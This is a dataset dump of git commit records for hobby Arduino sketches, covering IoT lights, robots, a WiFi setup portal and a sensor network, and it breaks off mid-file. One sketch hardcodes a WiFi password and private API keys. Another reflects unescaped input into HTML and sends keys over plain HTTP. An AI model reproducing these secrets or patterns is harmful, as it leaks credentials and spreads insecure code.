uint8_t LED_PIN = LED_BUILTIN;\nboolean m_light_state = false; \/\/ light is turned off by default\n\nWiFiClient wifiClient;\nPubSubClient client(wifiClient);\n\nvoid publishLightState() {\n if (m_light_state) {\n client.publish(MQTT_LIGHT_STATE_TOPIC, LIGHT_ON, true);\n } else {\n client.publish(MQTT_LIGHT_STATE_TOPIC, LIGHT_OFF, true);\n }\n}\n\nvoid setLightState() {\n if (m_light_state) {\n digitalWrite(LED_PIN, LOW);\n Serial.println(\"INFO: Turn light on...\");\n } else {\n digitalWrite(LED_PIN, HIGH);\n Serial.println(\"INFO: Turn light off...\");\n }\n}\n\nvoid callback(char* p_topic, byte* p_payload, unsigned int p_length) {\n String payload;\n for (uint8_t i = 0; i < p_length; i++) {\n payload.concat((char)p_payload[i]);\n }\n \n if (String(MQTT_LIGHT_COMMAND_TOPIC).equals(p_topic)) {\n if (payload.equals(String(LIGHT_ON))) {\n if (m_light_state != true) {\n m_light_state = true;\n setLightState();\n publishLightState();\n }\n } else if (payload.equals(String(LIGHT_OFF))) {\n if (m_light_state != false) {\n m_light_state = false;\n setLightState();\n publishLightState();\n }\n }\n }\n}\n\nvoid reconnect() {\n while (!client.connected()) {\n Serial.print(\"INFO: Attempting MQTT connection...\");\n if (client.connect(MQTT_CLIENT_ID)) {\n Serial.println(\"INFO: connected\");\n publishLightState();\n client.subscribe(MQTT_LIGHT_COMMAND_TOPIC);\n } else {\n Serial.print(\"ERROR: failed, rc=\");\n Serial.print(client.state());\n Serial.println(\"DEBUG: try again in 5 seconds\");\n delay(5000);\n }\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n\n pinMode(LED_PIN, OUTPUT);\n setLightState();\n\n Serial.println();\n Serial.println();\n Serial.print(\"INFO: Connecting to \");\n Serial.println(WIFI_SSID);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"INFO: WiFi connected\");\n Serial.print(\"INFO: IP address: \");\n Serial.println(WiFi.localIP());\n\n client.setServer(MQTT_SERVER_IP, MQTT_SERVER_PORT);\n client.setCallback(callback);\n}\n\nvoid loop() {\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Edzna\/device\/main.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3fe4faa5effe5339123062805156127a6162eb6d","subject":"Created SimpleRoll example. Something fishy about adjustHeading function...","message":"Created SimpleRoll example.\nSomething fishy about adjustHeading function...\n\nSigned-off-by: Cruz Monrreal II <663375bc5b4c6ed13a95cc63b2dd9f1e16363f4e@gmail.com>\n","repos":"cmonr\/Arduino-Sphero-Library","old_file":"examples\/SimpleRoll\/SimpleRoll.ino","new_file":"examples\/SimpleRoll\/SimpleRoll.ino","new_contents":"\/************************************************\n Written by Cruz Monrreal II\n Created on 06-26-2012\n \n Updates can be found here:\n https:\/\/github.com\/cmonr\/Arduino-Bluetooth-Library\n************************************************\/\n\n#include <SoftwareSerial.h>\n#include <Sphero.h>\n\nSoftwareSerial bluetooth(2,3);\nSphero sphero(bluetooth);\n\nvoid setup() {\n Serial.begin(115200);\n bluetooth.begin(9600);\n \n \/\/ Turn on Back LED\n sphero.setBackLED(0xFF);\n}\n\n\/\/ \u266b\u266b\u266b You Spin Me Right Round \u266b\u266b\u266b\nvoid loop() {\n sphero.roll(0, 0x80);\n delay(2000);\n \n sphero.roll(0, 0x00);\n delay(1000);\n \n sphero.roll(180, 0x80);\n delay(2000);\n \n sphero.roll(180, 0x00);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/SimpleRoll\/SimpleRoll.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"e2ff092d2d190555175ab6d35a375f9bf3bade5a","subject":"compass heading","message":"compass heading\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/Compass.ino","new_file":"erikson-1\/Compass.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"858c0c385fbf792a06c011f0bcb6ec5bff27156e","subject":"Create WiFiconfig.ino","message":"Create WiFiconfig.ino\n\nUnder development - still need to make configuration non-volatile, better error handling and feedback","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/WiFiconfig.ino","new_file":"ESP8266-code\/WiFiconfig.ino","new_contents":"\/*\n * When config button is pressed start accesspoint and interact with user to provide the \n * required access point credentials and other parameters\n * Connect to the required access point and stop the server\n * \n * In normal mode, collect data and send to the data store\n * \n * Todo\n * configuration needs to set the configuration in non-volatile store\n * wifi connection failure not quite handled correctly yet\n * need to flash the led when connected and data flowing\n * \n *\/\n \n#include <ESP8266WiFi.h>\n#include <WiFiClient.h> \n\n\/\/temporary access point credentials\n\nconst char * ap_ssid = \"tempap\";\nconst char * ap_password = \"1212121212\"; \/\/ must be 8 characters or more\n\n\/\/ application status\nboolean ap_started = false;\nboolean wifi_connected = false;\n\n\/\/ configuration parameters - need to be in non-volatile memory\nString ssid;\nString password;\nString stream_id;\nString stream_pk;\n\nchar* host =\"kitwallace.co.uk\";\n\nWiFiServer server(80);\nWiFiClient client;\n\nvoid setup() {\n\tdelay(1000);\n\tSerial.begin(9600);\n Serial.println(String(\"ap started: \") + ap_started + \" WiFi connected: \" + wifi_connected); \n}\n\nvoid loop() {\n if (! ap_started && digitalRead(D1)) {\n startAP();\n startServer();\n ap_started = true;\n wifi_connected = false;\n }\n if (ap_started) {\n client = server.available(); \n if (!client) \n return;\n else {\n Serial.println(String(\"ap started: \") + ap_started + \" WiFi connected: \" + wifi_connected); \n handleRequest();\n }\n }\n\n if (wifi_connected) {\n Serial.println(String(\"ap started: \") + ap_started + \" WiFi connected: \" + wifi_connected); \n String params = String(\"digital=\")+analogRead(A0);\n logData(params);\n delay(5000);\n }\n}\n\nvoid handleRequest() {\n Serial.println(String(\"request received \")+millis());\n \n \/\/ Read the first line of the request\n String req = client.readStringUntil('\\r');\n Serial.println(req);\n client.flush();\n String response;\n String message = \"\";\n ssid = getParam(req,\"ssid\");\n if (ssid != \"\") {\n password = getParam(req,\"password\");\n stream_id = getParam(req,\"stream-id\");\n stream_pk = getParam(req,\"stream-pk\");\n String doConnect = getParam(req,\"connect\");\n \n if (doConnect ==\"Yes\" && ssid != \"\") {\n wifi_connected = connectWifi();\n if (wifi_connected) {\n response = String(\"<h1>Connecting to access point Bye Bye<\/h1>\");\n \n httpReturn(response);\n \/\/ stop the ap - how ?\n ap_started = false;\n \/\/ stop the server - how ?\n return;\n }\n message = \"Wifi not connected\";\n }\n }\n\/\/ return form \n response = \"<html><head>\";\n response += \"<meta name='viewport' content='width=device-width, initial-scale=1'\/>\";\n response += \"<\/head>\";\n response += \"<h1>Configuration Form<\/h1>\";\n if (message != \"\") \n response += \"<h2>\" + message + \"<\/h2>\";\n response += \"<form action='?'><table>\";\n response += \"<tr><td>SSID<\/td><td><input type='text' name='ssid' value='\" + ssid +\"'\/><\/td><\/tr>\";\n response += \"<tr><td>PW<\/td><td><input type='text' name='password' value='\" + password + \"'\/><\/td><\/tr>\";\n response += \"<tr><td>stream id<\/td><td><input type='text' name='stream-id' value='\" + stream_id + \"'\/><\/td><\/tr>\";\n response += \"<tr><td>stream pk<\/td><td><input type='text' name='stream-pk' value='\" + stream_pk + \"'\/><\/td><\/tr>\";\n response += \"<tr><td>Connect<\/td><td><select name='connect'><option>No<\/option><option>Yes<\/option><\/select><\/td><\/tr>\";\n response += \"<\/table>\";\n response += \"<input type='submit' name='submit' \/>\";\n response += \"<\/form>\";\n httpReturn(response);\n}\n\nString getParam(String request, String name) {\n int pstart = request.indexOf(name);\n if (pstart == -1) return \"\";\n pstart+= name.length() +1;\n int pend = request.indexOf(\"&\",pstart);\n return request.substring(pstart,pend);\n}\n\nvoid httpReturn(String response) {\n String s = \"HTTP\/1.1 200 OK\\r\\n\";\n s += \"Content-Type: text\/html\\r\\n\\r\\n\";\n s += \"<!DOCTYPE HTML>\\r\\n<html>\\r\\n\";\n s += response;\n client.print(s);\n}\nvoid startAP() {\n Serial.println(\"Configuring access point...\");\n Serial.println(String(\"ssid \")+ap_ssid+\" password \"+ ap_password);\n boolean result = WiFi.softAP(ap_ssid, ap_password);\n Serial.println(String(\"SoftAP return \") + result);\n \n IPAddress ap_IP = WiFi.softAPIP();\n Serial.print(\"AP IP address: \");\n Serial.println(ap_IP);\n}\n\nvoid startServer() {\n server.begin();\n Serial.println(\"HTTP server started\");\n \n}\nboolean connectWifi() {\n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n char cssid[20];\n char cpw[30];\n ssid.toCharArray(cssid,ssid.length()+1);\n password.toCharArray(cpw,password.length()+1);\n WiFi.begin(cssid, cpw);\n int tries = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n if (tries > 10) return false;\n tries ++;\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n return true;\n}\n\nvoid httpGet(char * host,String url) {\n WiFiClient client;\n url.replace(\" \", \"+\");\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\nvoid logData(String params) {\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += stream_id;\n url += \"&_pk=\";\n url += stream_pk;\n url += \"&\";\n url += params;\n httpGet(host,url); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/WiFiconfig.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b8a4054e6ff7ceee6d83920b4d40c15ff8341a95","subject":"Making the payoff more exciting","message":"Making the payoff more exciting\n\nper feedback from kiddo\n","repos":"meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand","old_file":"arduino\/msaqsg\/ch03\/DiceGame\/DiceGame.ino","new_file":"arduino\/msaqsg\/ch03\/DiceGame\/DiceGame.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/meatballhat\/box-o-sand.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"fb26416507d0ff0b281d8dcc2e5fbcab0ab2123a","subject":"Add Ardunio test sketch of Blink.","message":"Add Ardunio test sketch of Blink.\n","repos":"contryboy\/YunHome,contryboy\/YunHome","old_file":"ardunio-src\/sketches\/test\/Blink\/Blink.ino","new_file":"ardunio-src\/sketches\/test\/Blink\/Blink.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n This example code is in the public domain.\n *\/\n\n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\nint led = 7;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize the digital pin as an output.\n pinMode(led, OUTPUT);\n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n digitalWrite(led, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(led, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ardunio-src\/sketches\/test\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ecde12d7ee42a8aef02bd63d8b2501b0fd82ef2c","subject":"Bluetooth controlled car","message":"Bluetooth controlled car\n","repos":"roboter\/Lunohod","old_file":"bluetooth_control\/bluetooth_control.ino","new_file":"bluetooth_control\/bluetooth_control.ino","new_contents":"\/*\nBlink\nTurns on an LED on for one second, then off for one second, repeatedly.\nThis example code is in the public domain.\n*\/\n#define D1 3 \/\/ \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f 1\n#define M1 4 \/\/ \u0428\u0418\u041c \u0432\u044b\u0432\u043e\u0434 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u043c 1\n#define D2 6 \/\/ \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u044f 2\n#define M2 5 \/\/ \u0428\u0418\u041c \u0432\u044b\u0432\u043e\u0434 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0432\u0438\u0433\u0430\u0442\u0435\u043b\u0435\u043c 2\n \n\/\/ Pin 13 has an LED connected on most Arduino boards.\n\/\/ give it a name:\n#define LED 2\n#define PIN1 8\n#define PIN2 9\nint pin1 = 8;\nint pin2 = 9;\n \n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\nSerial.begin(9600);\n\/\/ initialize the digital pin as an output.\npinMode(LED, OUTPUT);\npinMode(pin1, INPUT); \/\/ set pin to input\ndigitalWrite(pin1, HIGH); \/\/ turn on pullup resistors\npinMode(pin2, INPUT); \/\/ set pin to input\ndigitalWrite(pin2, HIGH); \/\/ turn on pullup resistors\n \npinMode(D1, OUTPUT);\npinMode(M1, OUTPUT);\npinMode(D2, OUTPUT);\npinMode(M2, OUTPUT);\n}\nchar command = 'S';\nint i = 255;\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n\/\/\n\nif(Serial.available() > 0){\n command = Serial.read(); \n Serial.println(command);\n switch(command)\n {\n case 'F': \n digitalWrite(D1, HIGH);\n analogWrite(M1, 0);\n digitalWrite(D2, HIGH);\n analogWrite(M2, 0);\n \/\/yellowCar.Forward_4W(velocity);\n break;\n case 'B': \n digitalWrite(D1, LOW);\n analogWrite(M1, 255);\n digitalWrite(D2, LOW);\n analogWrite(M2, 255);\n\/\/ yellowCar.Back_4W(velocity);\n break;\n case 'L': \n digitalWrite(D1, HIGH);\n analogWrite(M1, 0);\n digitalWrite(D2, LOW);\n analogWrite(M2, 255);\n \/\/ yellowCar.Left_4W();\n break;\n case 'R':\n digitalWrite(D2, HIGH);\n analogWrite(M2, 0);\n digitalWrite(D2, LOW);\n analogWrite(M2, 255);\n \/\/ yellowCar.Right_4W(); \n break;\n case 'S': \n digitalWrite(D2, LOW);\n analogWrite(M2, 0);\n digitalWrite(D2, LOW);\n analogWrite(M2, 0);\n\/\/ yellowCar.Stopped_4W();\n break; \n }\n \n}\n\/\/delay(100); \/\/ wait for a second\n\/\/\n\/\/ delay(1000); \/\/ wait for a second\nif(digitalRead(PIN1) == 1)\n{\n\/\/Serial.println(i);\n\/\/digitalWrite(D1, HIGH);\n\/\/analogWrite(M1, 255 - i);\n\/\/digitalWrite(D2, HIGH);\n\/\/analogWrite(M2, 255 - i);\n\/\/i++;\n}\nif(digitalRead(PIN2) == 1)\n{\nSerial.println(i);\n\/\/digitalWrite(D1, LOW);\n\/\/analogWrite(M1, i);\n\/\/digitalWrite(D2, LOW);\n\/\/analogWrite(M2, i);\n\/\/i--;\n}\n\/\/if(i>255) i =255;\n\/\/if(i<0) i=0;\n\/\/analogWrite(LED, i); \/\/ turn the LED on (HIGH is the voltage level)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bluetooth_control\/bluetooth_control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"856423087545de6421f0197d95bfe5bfc98e2197","subject":"Create MKR1000_nRF24L01_Cloud2.ino","message":"Create MKR1000_nRF24L01_Cloud2.ino\n\nThis is the sketch from part 2 of the video series. Be sure to add the PhantMKR1k library files","repos":"ForceTronics\/nRF24L01-Sensor-Network-that-Connects-to-the-Cloud,ForceTronics\/nRF24L01-Sensor-Network-that-Connects-to-the-Cloud","old_file":"MKR1000_nRF24L01_Cloud2.ino","new_file":"MKR1000_nRF24L01_Cloud2.ino","new_contents":"\/*10\/24\/16 This code was written for the YouTube video \"Creating a Sensor Network that Connects to the Cloud Part 2\"\n * on the ForceTronics channel. This code is public domain and free to others to use and modify at your own risk\n *\/\n#include <RF24.h> \/\/nRF24L01 library: https:\/\/github.com\/TMRh20\/RF24\n#include <RF24NetworkNoSleep.h> \/\/modified verision of the RF24Network library to work on non-AVR platform\n#include <SPI.h> \n#include <WiFi101.h> \/\/used for WiFi on MKR1000 and WiFi shield\n#include <RTCZero.h> \/\/used to access RTC capabilities of MKR1000\n#include \"PhantMKR1K.h\" \/\/library was leveraged from Sparkfun's Phant library and modified to work on Arduino MKR1000\n\nRTCZero rtc; \/\/create real time clock object\nchar ssid[] = \"NETGEAR42\"; \/\/ your network SSID (name)\nchar pass[] = \"excitedstreet973\"; \/\/ your network password (use for WPA, or use as key for WEP)\n\nint status = WL_IDLE_STATUS; \/\/set status variable\nconst int LED_PIN = 6; \/\/ MKR1000's built-in LED\n\n\/\/define areas for phant cloud address and security keys\nconst char PhantHost[] = \"data.sparkfun.com\";\nconst char PublicKey[] = \"NJO4a03mWjtv0M3JyVL3\";\nconst char PrivateKey[] = \"5dZx6KNnPGCXwDY2jAxY\";\n\n\/\/ start RF24 communication layer\nRF24 radio(5,7);\n\n\/\/ start RF24 network layer\nRF24NetworkNoSleep network(radio);\n\n\/\/ Coordinator address\nconst uint16_t thisNode = 00;\n\n\/\/ Structure of our payload coming from router and end devices\nstruct Payload\n{\n float aDCTemp; \/\/temperature from onboard sensor\n bool batState; \/\/bool to communicate battery power level, true is good and false means battery needs to be replaced\n};\n\nvoid setup() {\n Serial.begin(57600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Sketch will stop here until open Serial Monitor\n }\n Serial.println(\"Coordinator is online.....\");\n connectToWiFi(); \/\/call function to connect to WiFi\n rtc.begin(); \/\/init RTC\n static WiFiClient client; \/\/create WiFi client object that will be used to get time and date from internet\n getServerTime(client); \/\/Get the time from a server and set the RTC\n Serial.println(\"Got the time...\");\n SPI.begin(); \/\/start SPI communication\n radio.begin(); \/\/start nRF24L01 communication layer\n network.begin(90, thisNode); \/\/start nRF24L01 network layer, \"90\" is for channel\n}\n\nvoid loop() {\n network.update(); \/\/update network and look for new nodes\n\n RF24NetworkHeader header; \/\/create header variable to read data from node\n Payload payload; \/\/create payload variable\n payload.aDCTemp = 0;\n \/\/ Any data on the network ready to read\n while ( network.available() )\n {\n \/\/ If so, grab it and print it out\n network.read(header,&payload,sizeof(payload)); \/\/read data into payload struct\n Serial.print(\"The node this is from: \");\n Serial.println(header.from_node); \/\/user header struct to print out node that data came from\n Serial.print(\"Temperature: \");\n Serial.print(payload.aDCTemp);\n Serial.print(\" Battery status: \");\n Serial.println(payload.batState);\n Serial.println(getTimeDate());\n Serial.println();\n }\n \n if(payload.aDCTemp) { \/\/if there is new data (non-zero) post it to cloud\n if (!postToPhant(header.from_node,getNodeData(payload.aDCTemp),getTimeDate(),payload.batState)) { Serial.println(\"failed to post data to Phant cloud.....\"); } \/\/make call to send data to Phant cloud\n else { Serial.println(\"Sent data to cloud successfully....\"); } \n }\n}\n\n\/\/This function builds a string of the time and date using the RTC\nString getTimeDate() {\n return ((String)rtc.getHours() + \":\" + (String)rtc.getMinutes() + \":\" + (String)rtc.getSeconds() + \" \" + (String)rtc.getMonth() + \"\/\" + (String)rtc.getDay() + \"\/\" + (String)rtc.getYear());\n}\n\n\/\/This function posts data to the Phant cloud, the input arguments are data for the fields we created on Phant\nint postToPhant(int node, int temp, String timestamp, int batt)\n{\n if(WiFi.status()!=WL_CONNECTED) { connectToWiFi(); } \/\/if true we lost WiFi connection so attempt to reconnect\n \/\/ LED turns on when we enter, it'll go off when we successfully post.\n digitalWrite(LED_PIN, HIGH);\n \n \/\/ Declare an object from the Phant library - phant\n PhantMKR1K phant(PhantHost, PublicKey, PrivateKey);\n \/\/These calls build the web communication\n phant.add(\"node\", node); \/\/specify field and data used in that field\n phant.add(\"temp\", temp);\n phant.add(\"datatstamp\", timestamp);\n phant.add(\"batt\", batt);\n \n WiFiClient client; \/\/Create client object to communicate with the phant server\n \n if (!client.connect(PhantHost, 80)) { \/\/Attempt to connect to phant server using port 80\n \/\/ If we fail to connect, return 0.\n return 0;\n }\n\n \/\/Send post to phant server\n client.print(phant.post()); \/\/post datat to phant\n \n \/\/ if there are incoming bytes available from the server, read them and print them:\n while (client.available()) {\n String line = client.readStringUntil('\\r');\n \/\/Do something with data\n }\n client.stop(); \/\/end the client\n \/\/ Before we exit, turn the LED off.\n digitalWrite(LED_PIN, LOW);\n \n return 1; \/\/ Return success\n}\n\n\/\/this function takes float temp and converts it to int with one decimal point precision\n\/\/This is done because phant cloud cannot handle floats\nint getNodeData(float data) {\n return data*10;\n}\n\n\/\/This function connects to WiFi, while it is connecting the LED will go on\n\/\/If the LED is stuck on and not going off it means you have a connection problem\nvoid connectToWiFi() {\n Serial.println(\"Connecting to WiFi...\");\n digitalWrite(LED_PIN, HIGH); \/\/turn on LED while we try to connect\n \/\/ check for the presence of the shield:\n\/\/ if (WiFi.status() == WL_NO_SHIELD) {\n\/\/ \/\/ don't continue:\n\/\/ Serial.println(\"No WiFi Shield detected so stop here....\");\n\/\/ while (true);\n\/\/ }\n\n \/\/ Connect to WPA\/WPA2 network. Change this line if using open or WEP network:\n status = WiFi.begin(ssid, pass); \/\/call WiFi begin and wait for status to signal a connection was made\n while (status != WL_CONNECTED) {\n \/\/loop until we connect\n }\n Serial.println(\"Connected to WiFi...\");\n digitalWrite(LED_PIN, LOW); \/\/turn on LED while we try to connect\n}\n\n\/\/This function gets the time and date from a server of your choice on the internet\n\/\/The code in this function was leveraged from Francesco Potorti http:\/\/playground.arduino.cc\/Code\/Webclient\nvoid getServerTime (Client &client)\n{\n unsigned long time = 0;\n\n \/\/ Just choose any reasonably busy web server, the load is really low\n if (client.connect(\"g.cn\", 80)) {\n \/\/ Make an HTTP 1.1 request which is missing a Host: header\n \/\/ compliant servers are required to answer with an error that includes\n \/\/ a Date: header.\n client.print(F(\"GET \/ HTTP\/1.1 \\r\\n\\r\\n\"));\n\n char buf[5]; \/\/ temporary buffer for characters\n client.setTimeout(5000);\n if (client.find((char *)\"\\r\\nDate: \") \/\/ look for Date: header\n && client.readBytes(buf, 5) == 5) \/\/ discard\n {\n byte day = client.parseInt(); \/\/ get the date\n rtc.setDay(day); \/\/set RTC date\n client.readBytes(buf, 1); \/\/ discard this byte\n client.readBytes(buf, 3); \/\/ get three letter month\n int year = client.parseInt(); \/\/ get the year\n year = year - 2000; \/\/convert year to two digits\n rtc.setYear(year); \/\/set year on RTC\n byte hour = client.parseInt(); \/\/get hour\n rtc.setHours(hour); \/\/set RTC hour\n byte minute = client.parseInt(); \/\/get min\n rtc.setMinutes(minute); \/\/set RTC min\n byte second = client.parseInt(); \/\/get second\n rtc.setSeconds(second); \/\/set RTC second\n\n uint8_t month; \/\/varible to get month number from three letter abbrv\n switch (buf[0])\n {\n case 'F': month = 2; break; \/\/ Feb\n case 'S': month = 9; break; \/\/ Sep\n case 'O': month = 10; break; \/\/ Oct\n case 'N': month = 11; break; \/\/ Nov\n case 'D': month = 12; break; \/\/ Dec\n default:\n if (buf[0] == 'J' && buf[1] == 'a') month = 1; \/\/ Jan\n else if (buf[0] == 'A' && buf[1] == 'p') month = 4; \/\/ Apr\n else switch (buf[2])\n {\n case 'r': month = 3; break; \/\/ Mar\n case 'y': month = 5; break; \/\/ May\n case 'n': month = 6; break; \/\/ Jun\n case 'l': month = 7; break; \/\/ Jul\n default: \/\/ add a default label here to avoid compiler warning\n case 'g': month = 8; break; \/\/ Aug\n }\n }\n rtc.setMonth(month); \/\/set RTC month\n }\n }\n delay(10);\n client.flush();\n client.stop(); \/\/kill client connection\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MKR1000_nRF24L01_Cloud2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b69e0822396ceeb5a82be5405aea41bf91bfde35","subject":"add 150526 pulse counting example (based on schmitt trigger)","message":"add 150526 pulse counting example (based on schmitt trigger)\n","repos":"473856\/Lupinino,473856\/Lupinino,473856\/Lupinino,473856\/Lupinino","old_file":"projects\/PulseCounting\/PulseCounting_byIR_01\/PulseCounting_byIR_01.ino","new_file":"projects\/PulseCounting\/PulseCounting_byIR_01\/PulseCounting_byIR_01.ino","new_contents":"\/\/ Frequency counter sketch, for measuring frequencies low enough to execute an interrupt for each cycle\n\/\/ Connect the frequency source to the INT1 pin (digital pin 3 on an Arduino Uno)\n\nvolatile unsigned long firstPulseTime;\nvolatile unsigned long lastPulseTime;\nvolatile unsigned long numPulses;\nunsigned long currentMilis;\nunsigned long lastMilis = 0;\nfloat Hz;\n\n\n\nvoid isr()\n{\n unsigned long now = micros();\n if (numPulses == 1) {\n firstPulseTime = now;\n }\n else {\n lastPulseTime = now;\n }\n ++numPulses;\n}\n\n\nvoid setup()\n{\n Serial.begin(19200); \/\/ this is here so that we can print the result\n attachInterrupt(1, isr, RISING); \/\/ enable the interrupt\n}\n\n\n\n\nvoid loop()\n{\n currentMilis = millis();\n attachInterrupt(1, isr, RISING); \/\/ enable the interrupt\n\n if (currentMilis - lastMilis > 1000) \/\/ instead of using delay(1000)\n {\n detachInterrupt(1);\n lastMilis = currentMilis;\n Hz = (1000000.0 * (float)(numPulses - 2)) \/ (float)(lastPulseTime - firstPulseTime);\n\n numPulses = 0;\n attachInterrupt(1, isr, RISING); \/\/ enable the interrupt\n Serial.println(Hz);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/PulseCounting\/PulseCounting_byIR_01\/PulseCounting_byIR_01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"51e60fe26098e7633cab40b6885dad7857a1208b","subject":"Initial commit","message":"Initial commit\n","repos":"andrewadare\/inverted-pendulum","old_file":"inverted-pendulum.ino","new_file":"inverted-pendulum.ino","new_contents":"\/\/ Inverted pendulum - for Teensy 3.2\n\n#include \"Encoder.h\"\n#include \"PIDControl.h\"\n#include \"SimpleShell.h\"\n\n#define LEFT HIGH\n#define RIGHT LOW\n#define TRACK_ENCODER_PIN_A 0\n#define TRACK_ENCODER_PIN_B 1\n#define PENDULUM_ENCODER_PIN_A 2\n#define PENDULUM_ENCODER_PIN_B 3\n#define LEFT_BUMP_PIN 4\n#define RIGHT_BUMP_PIN 5\n#define PWM_PIN 10\n#define DIR_PIN 12\n#define CART_RESET_PIN 21\n\n\/\/ Command callbacks for use by SimpleShell\nExecStatus setPID(CommandLine *clp)\n{\n Serial.print(\"setPID \");\n for (int i=0; i<clp->argc; i++)\n {\n Serial.print(\" \");\n Serial.print(clp->argv[i]);\n \/\/ TODO: add cartPid.setPID(kp, ki, kd);\n }\n Serial.println();\n return SUCCESS;\n}\n\nExecStatus setSetpoint(CommandLine *clp)\n{\n Serial.print(\"setSetpoint \");\n for (int i=0; i<clp->argc; i++)\n {\n Serial.print(\" \");\n Serial.print(clp->argv[i]);\n \/\/ TODO: add something like this:\n \/\/ float setpoint = cmd.toFloat()\/xMax;\n \/\/ cartPid.setpoint = constrain(setpoint, cartPid.minOutput, cartPid.maxOutput);\n }\n Serial.println();\n return SUCCESS;\n}\n\nfloat prevSetpoint = 0; \/\/ temp - debug\n\n\/\/ For incoming serial data\nint incomingByte = 0;\nString cmd = \"\";\n\nint xPrev = 0;\nint xCart = 0;\nint xMax = 0;\n\nint thetaPrev = 0;\nint theta = 0;\n\nfloat maxPwm = 16383; \/\/ 100% PWM value with 14-bit resolution\nfloat pwmFreq = 2929.687; \/\/ See http:\/\/www.pjrc.com\/teensy\/td_pulse.html\nfloat dutyCycle = 0; \/\/ Percent\n\nunsigned long timeStep = 15; \/\/ ms\n\nEncoder trackEncoder(TRACK_ENCODER_PIN_A, TRACK_ENCODER_PIN_B);\nEncoder thetaEncoder(PENDULUM_ENCODER_PIN_A, PENDULUM_ENCODER_PIN_B);\n\n\/\/ PID control for cart position\nfloat kp = 2, ki = 10, kd = 0;\nelapsedMillis pidTimer = 0;\nPIDControl cartPid(kp, ki, kd, 0, timeStep);\n\n\/**\n * Find limits using bump switches and center cart between them.\n 